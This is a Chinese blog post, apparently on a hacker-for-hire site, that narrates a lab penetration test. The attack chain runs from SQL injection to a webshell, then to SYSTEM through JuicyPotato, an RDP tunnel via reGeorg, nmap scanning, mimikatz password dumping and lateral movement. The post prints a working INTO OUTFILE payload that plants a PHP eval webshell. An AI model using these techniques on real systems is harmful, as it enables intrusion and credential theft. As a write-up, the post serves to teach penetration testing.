当前位置:首页 > 网络安全 > 正文内容

记一次由sql注入到拿下域控的渗透测试实战演练(上)

访客4年前 (2021-04-15)网络安全630

本次渗透总流程:

1.从一个web页面发现SQL注入并可以通过注入getshell

2.通过对webshell的提权成功拿下服务器管理员权限

3.通过内网穿透成功连接目标服务器的3389远程桌面服务

4.通过在目标服务器上安装并使用nmap完成信息收集,为接下来横向移动以及拿下域控提供基础

5.通过mimikatz抓取本机管理员明文密码,为下一步域渗透提供条件

本次渗透靶场网络拓扑图:

工具:

蚁剑,烂土豆提权补丁,reGeorge,nmap,mimikatz,Proxifier汉化版

开始渗透:

发现页面上存在?id=1的传参,于是输入and 1=2 进行测试,发现页面报错并爆出了绝对路径,接下来尝试使用outfile函数进行getshell
语句如下:

?id=1 and 1=2 union select 1,'<?php eval($_REQUEST[1]);?>' into outfile 'C:/phpStudy/WWW/a.php'

尝试连接

发现shell已经上传成功,接下来用蚁剑连接(有一个之前上传过的烂土豆请忽略……)

接下来用蚁剑的终端进行服务器端口信息收集并尝试给服务器添加用户,但失败(原因很简单,webshell权限不够嘛)

所以接下来要进行webshell的提权,提权一般会有两个思路:

1.依靠系统组件提权(例如:MySQL权限高而phpstudy权限低,那么我们就想办法让MySQL替我们去执行一些需要高权限的命令)

2.依靠系统漏洞提权(实战中更加常用)

由于并没有发现目标服务器上有什么高权限的组件可以入侵,所以我们采取第二种方法提权,首先我们采用systeminfo命令查看系统已下载补丁

然后从这个在线辅助提权的网站上> (https://bugs.hacking8.com/tiquan/)

搜索可用提权补丁,这里我们采用图上的hotpotato进行提权,因为它适用的系统多,提权更可能成功

利用蚁剑上传烂土豆:

烂土豆使用方法:(笔者的这个烂土豆是魔改后的,使用比较简单,若想要原版可以从这里下载https://github.com/ohpe/juicy-potato/releases)

Juicypotato.exe -p“命令”

笔者这里将烂土豆改名为hx.exe是为了执行命令更方便(其实就是偷懒哈哈~)

使用查看当前权限,发现已经是system权限了

使用进行本地用户的添加

但注意,此时的账号haixian并不是管理员,我们要对其进行进一步的提权才可以使其权限变为管理员

使用来将我们的用户haixian加入到本地管理员用户组

至此,我们已经成功地向目标服务器添加了一个名为haixian的管理员用户,接下来就是想办法通过这个用户,使用远程桌面连接目标服务器

首先我们尝试直接使用mstsc.exe去连接靶机,但是以失败告终,猜测有以下几种可能:

靶机并没有将3306端口像80端口一样映射到公网上,路由器里并没有记录,所以我们无法直接通过公网访问到靶机的3306端口

靶机无法连接公网

这里如果是第二种情况那么就不太好办了,但我们可以猜测是第一种情况并按第一种情况来处理,如果最后连接成功,那么就证实了我们的猜想

我们要明确为什么我们的远程桌面无法直接连接,根源在于我们的电脑无法直接访问靶机的3306端口,所以我们要从我们唯一可以访问到的80端口所开放的web服务来找突破口,这里就涉及到了一个新的工具:

**reGeorge:GitHub下载地址: https://github.com/sensepost/reGeorg **

下载下来以后是这样的一些文件:

我们需要根据网站所对应的脚本语言来上传对应的信道文件,比如说这里靶机所使用的是PHP,我们就上传tunnel.nosocket.php到靶机:

通过蚁剑上传信道文件并访问:

出现如图所示的回显说明我们的“信号塔”部署完毕,那么这个信号塔具体有什么用呢?

前面提到过,我们只能访问靶机的80端口,那么我们要做到的就是通过一层信号转发使我们能够通过访问80端口而访问到靶机3306端口

所以这个信号塔的作用其实就是信号转发,我们需要把原本要发送给靶机上其他我们访问不到的文件的数据包发送给信号塔,然后信号塔会根据我们的要求把接收到的信号转发给对应的服务模块

简单来说,就是我们要访问靶机上的远程桌面模块,但没法直接访问,就先把我们的请求发送给信号塔,然后有信号塔发起对远程桌面的访问

这样问题不就迎刃而解了吗?

接下来我们在本地运行reGeorgSocksProxy.py来与信号塔配合(一个发包一个接包)

出现如图的语句证明脚本运行正常

使用Proxifier设置代理,这一步的目的就是限制只有本机mstsc.exe所发送的请求才会被转发到信号塔接受,如果所有web请求全都发去的话,那么恐怕下一秒就断网了。。。

设置代理规则如图:

设置好之后就可以重新进行远程桌面连接了:

利用我们已经添加好的管理员用户haixian进行登录并尝试在靶机上下载nmap为下一步的横向移动做基础信息收集

下载成功后简单的扫描一下C段,结果如图:


经过初步探测,内网中有10.0.1.1,10.0.1.3,10.0.1.4,10.0.1.6,10.0.1.8四台主机存活且后两台主机均开放了3389端口,为远程桌面连接提供了可能

然后我们再通过mimikatz(迷hotel)抓取管理员密码,mimikatz常见命令如下:

其实mimikatz这款神器的功能十分强大,这里只是介绍了冰山一角,有兴趣的读者可以自行了解,网站上教程很多~

通过蚁剑上传mimikatz,要注意区分系统(32位和64位)来上传不同版本,不同版本的mimikatz使用稍有不同

抓取本机密码如图:

获取了本地管理员的明文密码,通过这个密码我们就可以进行下一步攻击,比如说在同一个内网内,管理员可能是同一个人,也就是说刚刚用nmap所扫出来的四台机器有可能存在相同的管理员账号和密码

经过尝试,发现同样的账号密码可以登录10.0.1.8这台机器,并通过systeminfo查看可知此机器在域内,所以下一步就可以以10.0.1.8为起点进行下一阶段的域渗透了

具体域渗透操作如何,且听下回分解~

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:https://therlest.com/106244.html

分享给朋友:

“记一次由sql注入到拿下域控的渗透测试实战演练(上)” 的相关文章

创业板投资风险揭示书,创业板风险揭示书

保荐机构(主承销商):中泰证券股份有限公司 苏州天路光科技股份有限公司(以下简称“天路科技”、“发行人”或“公司”)首次公开发行不超过2579万股普通股(a股)(以下简称“本次发行”)的申请,已经深圳证券交易所(以下简称“深交所”)创业板上市委员会委员审议通过,并经中国证券监督管理委员会(以下...

【紧急+重要】勒索病毒解决方案!附:MS17-010补丁下载

  滚动更新:2017年5月13日16:57:22   游侠安全网(良心网站,站长先贴上注意事项和解决方法!防止你看本文的时候就被加密了!   1、本次共计是自动化攻击,利用了Windows的MS17-010。但苹果的MacOS用户不用得意,因为在昨晚之前,我这里得到的好几起勒索攻击案例都是针对...

干洗对衣物有害吗

干洗对衣物有害吗 干洗剂实际上就是有机溶剂,所以对衣服多少都有点危害,只不过高级的干洗剂对衣服损伤小一些而已。 随着人们工作的繁忙和生活节奏的加快,现代人更多地把换下的衣物送到洗衣店干洗,以保证衣服不变形和有更多的时间休闲娱乐,这本是一件提高生活品质的好事,但据最新的研究显示,干洗衣物对身...

花卉市场批发价格行情 「批发鲜花市场进货渠道」

是目前全国最大的鲜花产地,有两个比较大的花卉市场,要的量少,昆明进货的话就去呈贡斗南花市,翻倍的。装修和进货资金四部分。不过玖烨花卉的花不贵。 我是湖南的,有什么网站没.消费能力要跟上;找到好的进货渠道,花卉市场了,只说鲜切花,现在搬到联盟路了,上海,销售数量比去年同期有所增加,如果开个人小店的话。...

Webshell安全检测篇(1)-根据流量的检测方法

一、概述 笔者一直在重视webshell的安全剖析,最近就这段时刻的心得体会和咱们做个共享。 webshell一般有三种检测办法: 依据流量方法 依据agent方法(本质是直接剖析webshell文件) 依据日志剖析方法 Webshell的分类笔者总结如下: 前段时...

奥门币币对人民币换算 - 澳元兑换人民币汇率

在珠海拱北口岸地下商城,公布当日主要交易货币“美元、此外汇牌价汇率表仅供参考=6点0442则一元人民币换0,点04762元,很高兴为你解答。 1点2208澳门元数据对仅供参考,划算 另外,另外汇率是不断变化的,可以百度输入"澳门元对人民币汇率,货币兑换1澳元=4点。 在外面买东西的小店不是太正规的,...

评论列表

竹祭酒废
3年前 (2022-07-04)

ikatz抓取本机管理员明文密码,为下一步域渗透提供条件本次渗透靶场网络拓扑图:工具:蚁剑,烂土豆提权补丁,reGeorge,nmap,mimikatz,Proxifier汉化版开始渗透:发现页面上存在?id=1的传参,于是输入and 1=2 进行测试,发现页面报错并爆出了绝对路径,接下来尝试使

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。